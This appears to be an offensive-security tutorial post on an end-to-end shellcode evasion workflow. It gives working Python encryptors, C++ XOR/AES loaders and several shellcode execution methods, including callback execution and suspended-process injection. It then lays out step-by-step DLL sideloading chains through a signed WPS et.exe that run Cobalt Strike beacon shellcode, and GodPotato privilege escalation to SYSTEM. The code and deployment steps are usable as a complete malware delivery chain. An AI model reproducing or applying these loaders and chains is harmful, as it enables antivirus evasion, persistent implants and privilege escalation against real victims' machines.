Shellcode Evasion and Loading: End-to-End Workflow

Whether extracted from an EXE/Beacon via donut or generated directly from Cobalt Strike, shellcode is typically XOR/AES-encrypted and then executed through a standalone loader or a sideloaded DLL. This post walks through the full chain—generation, encryption, loading, and delivery—with two practical case studies.
Overview
For DLL hijacking fundamentals, see the published article: Windows DLL Hijacking Analysis.
1. Generate Shellcode
1.1 Extract from EXE (donut / go-donut)
go-donut (bin output only): Binject/go-donut
./go-donut -i windows_amd64.exe # extension required, otherwise bin is unusabledonut (recommended): TheWover/donut
# -f 3: C-style shellcode; -z 2: compression
donut.exe -i windows_i386.exe -f 3 -z 2et.exe is x64, CS/donut output must be x64; x86 shellcode in an x64 process will crash.1.2 Generate from Cobalt Strike
- CS → Attacks → Packages → Payload Generator (for C-format shellcode; Windows Executable (S) produces an EXE, not the byte array used here)
- Choose C output:
unsigned char buf[] = "\x90\x90..."; - For the Python encryptor in this post: produce a raw binary
.bin(do not only strip\xand leave hex ASCII text; convert\xHHto bytes, or export/convert to bin) - Encrypt (Section 2), then deliver via sideloaded DLL or standalone loader
2. Encryption
2.1 XOR
Python (encrypt)
import sys
def xor_encrypt(shellcode, key):
encrypted_shellcode = bytearray()
key_len = len(key)
for i in range(len(shellcode)):
encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
return encrypted_shellcode
def main():
if len(sys.argv) != 3:
print("Usage: python3 ShellcodeEncrypt.py <payload.bin> <payload.dat>")
return
with open(sys.argv[1], "rb") as file:
shellcode = bytearray(file.read())
key = bytearray(b'henry123456aa+-==@asd')
encrypted_shellcode = xor_encrypt(shellcode, key)
with open(sys.argv[2], "wb") as output_file:
output_file.write(encrypted_shellcode)
if __name__ == '__main__':
main()C++ (decrypt)
#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
FILE* file;
if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
return nullptr;
fseek(file, 0, SEEK_END);
BufSize = ftell(file);
fseek(file, 0, SEEK_SET);
void* RetVoid = malloc(BufSize);
if (!RetVoid) {
fclose(file);
return nullptr;
}
fread(RetVoid, 1, BufSize, file);
fclose(file);
return RetVoid;
}
// Read encrypted shellcode from a .dat file matching the executable name
WCHAR szFilePath[MAX_PATH + 1] = { 0 };
GetModuleFileName(NULL, szFilePath, MAX_PATH);
lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");
DWORD size;
void* buffer = FileToMem(szFilePath, size);
if (buffer) {
char* shellcode = new char[size];
memcpy(shellcode, buffer, size);
free(buffer);
const char key[] = "henry123456aa+-==@asd";
int keylength = strlen(key);
for (DWORD i = 0; i < size; i++) {
shellcode[i] ^= key[i % keylength];
}
// shellcode decrypted, length = size
}2.2 AES
Dependency: tiny-AES-c (add aes.c, aes.h, aes.hpp to your project)
Python (encrypt)
pycryptodome: pip uninstall crypto pycrypto && pip install pycryptodomefrom Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import sys
def main():
key = b'0123456789abcdef'
iv = b'0123456789abcdef'
if len(sys.argv) != 3:
print("Usage: python3 shellcodeAESenc.py <payload.bin> <payload.dat>")
return
with open(sys.argv[1], "rb") as file:
shellcode = bytearray(file.read())
print("Original Shellcode Size:", len(shellcode))
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = pad(shellcode, AES.block_size)
encrypt = cipher.encrypt(padded_data)
with open(sys.argv[2], "wb") as output_file:
output_file.write(encrypt)
if __name__ == '__main__':
main()C/C++ (decrypt)
#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include "aes.hpp"
void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
FILE* file;
if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
return nullptr;
fseek(file, 0, SEEK_END);
BufSize = ftell(file);
fseek(file, 0, SEEK_SET);
void* RetVoid = malloc(BufSize);
if (!RetVoid) {
fclose(file);
return nullptr;
}
fread(RetVoid, 1, BufSize, file);
fclose(file);
return RetVoid;
}
int main() {
WCHAR szFilePath[MAX_PATH + 1] = { 0 };
GetModuleFileName(NULL, szFilePath, MAX_PATH);
lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");
DWORD size;
void* buffer = FileToMem(szFilePath, size);
if (buffer) {
char* shellcode = new char[size];
memcpy(shellcode, buffer, size);
free(buffer);
// Exactly 16 bytes; do not use a string literal (adds trailing '\0')
unsigned char key[16] = {
'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
};
unsigned char iv[16] = {
'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
};
// Ciphertext is padded; originSize MUST be the Original Shellcode Size printed by the encryptor
DWORD originSize = 36999; // example only—replace with your value
unsigned char* ushellcode = reinterpret_cast<unsigned char*>(shellcode);
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
// size must be a multiple of 16 (matches Python pad output)
AES_CBC_decrypt_buffer(&ctx, ushellcode, size);
DWORD dwOldPro = 0;
VirtualProtect(ushellcode, originSize, PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)ushellcode, 0, 0);
// Do not delete[] if shellcode stays resident (e.g. beacon)
}
}2.3 RSA
Reference: RSA shellcode encryption (WeChat article)
3. Loading Techniques
3.1 VirtualProtect + callback execution
EnumUILanguages invoke shellcode as a callback. Arguments are passed; most PIC shellcode ignores them. If the payload stays resident (beacon), do not delete[] / free that buffer afterward.char* shellcode = ...;
DWORD size = ...;
DWORD dwOldPro = 0;
VirtualProtect(shellcode, size, PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)shellcode, 0, 0);
// Resident shellcode: do not free here
3.2 Suspended-process injection (傀儡进程)
Flow: create suspended process → remote alloc/write shellcode →
SetThreadContextto change entry → resume.
This is not classic Process Hollowing (unmap original image and replace the PE).
Eip); on x64 use Rip and a same-arch target process.char* shellcode = ...;
DWORD size = ...;
PROCESS_INFORMATION ProcessInformation = {};
STARTUPINFOA StartupInfo = {};
void* remote = nullptr;
CONTEXT Context = {};
DWORD DwWrite = 0;
StartupInfo.cb = sizeof(StartupInfo);
// CREATE_SUSPENDED; command line must be a writable buffer (not a string literal)
char cmdLine[] = "C:\\Windows\\explorer.exe";
BOOL result = CreateProcessA(
nullptr, cmdLine, nullptr, nullptr, FALSE, CREATE_SUSPENDED,
nullptr, nullptr, &StartupInfo, &ProcessInformation
);
if (result) {
Context.ContextFlags = CONTEXT_FULL;
GetThreadContext(ProcessInformation.hThread, &Context);
remote = VirtualAllocEx(
ProcessInformation.hProcess, nullptr, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(ProcessInformation.hProcess, remote, shellcode, size, &DwWrite);
Context.Eip = (DWORD)(uintptr_t)remote; // x86 only
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
delete[] shellcode;3.3 VirtualAlloc + direct call
char* shellcode = ...;
DWORD size = ...;
LPVOID allocatedMemory = VirtualAlloc(
NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if (allocatedMemory == NULL) {
delete[] shellcode;
return;
}
memcpy(allocatedMemory, shellcode, size);
void(*shellcodeFunction)() = (void(*)())allocatedMemory;
shellcodeFunction();
// Resident shellcode: do not VirtualFree(allocatedMemory, ...)
4. Off-the-Shelf Loaders
| Tool | Notes |
|---|---|
| Gllloader | C/C++, C#, Nim, PowerShell loaders |
| GobypassAV-shellcode | Go shellcode loader (results vary by AV version; verify yourself) |
Recommended Go build (smaller footprint):
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-w -s -H windowsgui" -o out.exeDefault build (more likely to be flagged):
GOOS=windows GOARCH=amd64 go build5. Case Studies
5.1 CS Shellcode + Encryption + DLL Sideloading
Typical chain: CS shellcode → XOR to disk → malicious DLL decrypts & runs → signed EXE triggers load.
See Windows DLL Hijacking Analysis for hijacking mechanics.
Step 1: Find a suitable signed EXE
WPS et.exe depends on a co-located DLL—drop a malicious DLL with the same name to hijack loading.


Step 2: Build the malicious DLL
- Parse the original DLL with AheadLib


- Create a VS DLL project and import the generated code


- In an export or a deferred path: read encrypted file → XOR decrypt → execute (Sections 2–3)
DllMain (DLL_PROCESS_ATTACH) holds the loader lock—avoid loading the CLR, complex sync, or running GodPotato / donut .NET shellcode there. Common pattern: CreateThread to decrypt/execute on a new thread, or run from an export after LoadLibrary returns.- Build settings:
- asm file → Custom Build Tool
- C/C++ → Code Generation → Runtime Library → /MT
- C/C++ → Precompiled Headers → Not Using
- Linker → Debugging → Generate Debug Info → No
- Platform must match the signed EXE (Win32 / x64)
Step 3: Generate and encrypt shellcode
- Export C-format via Payload Generator, then convert to raw
.binfor the encryptor

- XOR encrypt; save under the exact filename your DLL expects
Section 2’s sample rewrites the host EXE extension to .dat via GetModuleFileName (e.g. et.exe → et.dat). If the DLL hardcodes xx.ini, the ciphertext must be named xx.ini. Mismatch → read failure.
XOR with the same key an even number of times is a no-op; an odd count equals one pass. Multi-layer XOR needs different keys and reverse-order decrypt.

python3 ShellcodeEncrypt.py payload.bin et.datStep 4: Deploy
Place signed EXE + malicious DLL + encrypted shellcode in the same directory and run the signed EXE.

init(), but avoid heavy work under the loader lock—prefer init() only starting a goroutine/thread, with decrypt/execute in that worker. Also mind the Go runtime and c-shared export setup.func init() {
// Prefer: go func() { read .dat → decrypt → execute }()
// Do not synchronously run CLR-heavy logic in init
}5.2 GodPotato + DLL Sideloading
Project: GodPotato
Chain: in a session that already meets potato prerequisites, sideload runs GodPotato shellcode → GodPotato elevates to SYSTEM → starts beacon.
et.exe usually cannot reach SYSTEM. Sideloading solves delivery/execution, not unconditional privilege escalation.- Sideload package (
et.exe+ malicious DLL +et.dat): decrypts and runs GodPotato shellcode in the current (SeImpersonate-capable) context. - GodPotato
cmd: points at beacon (or another payload to run as SYSTEM)—not the sameet.exe. - donut’d GodPotato: CLR/.NET loader shellcode—run outside DllMain (e.g.
CreateThread); see §5.1.
Step 1: Hardcode the beacon command
potatoArgs = new newgodArgs
{
// Point at beacon on the target—not the signed et.exe
cmd = "cmd /c c:\\users\\public\\downloads\\beacon.exe"
};Build as newgod.exe.
Step 2: Extract shellcode with donut
donut.exe -i newgod.exeSample output:
[ Shellcode : "loader.bin"
[ File type : .NET EXE
[ Target CPU : x86+amd64Step 3: Encrypt shellcode
python3 ShellcodeEncrypt.py loader.bin loader.datRename loader.dat to the name your loader expects (e.g. et.dat).
Step 4: Deploy
Place these in the same directory (beacon path must match Step 1), e.g. C:\Users\Public\Downloads:
| File | Role |
|---|---|
et.exe | Signed EXE that triggers DLL load |
krpt.dll | Malicious DLL: read et.dat → decrypt → execute |
et.dat | Encrypted GodPotato shellcode |
beacon.exe | Payload GodPotato starts after elevation |
Run et.exe: DLL decrypts/runs GodPotato shellcode at a safe time (not heavy work in DllMain) → (with SeImpersonate) elevates → runs beacon.exe as SYSTEM.
beacon.exe on disk may still be caught by AV. In practice you often re-apply evasion to the beacon or keep it in-memory-only. This section only shows how GodPotato hooks into the sideload chain.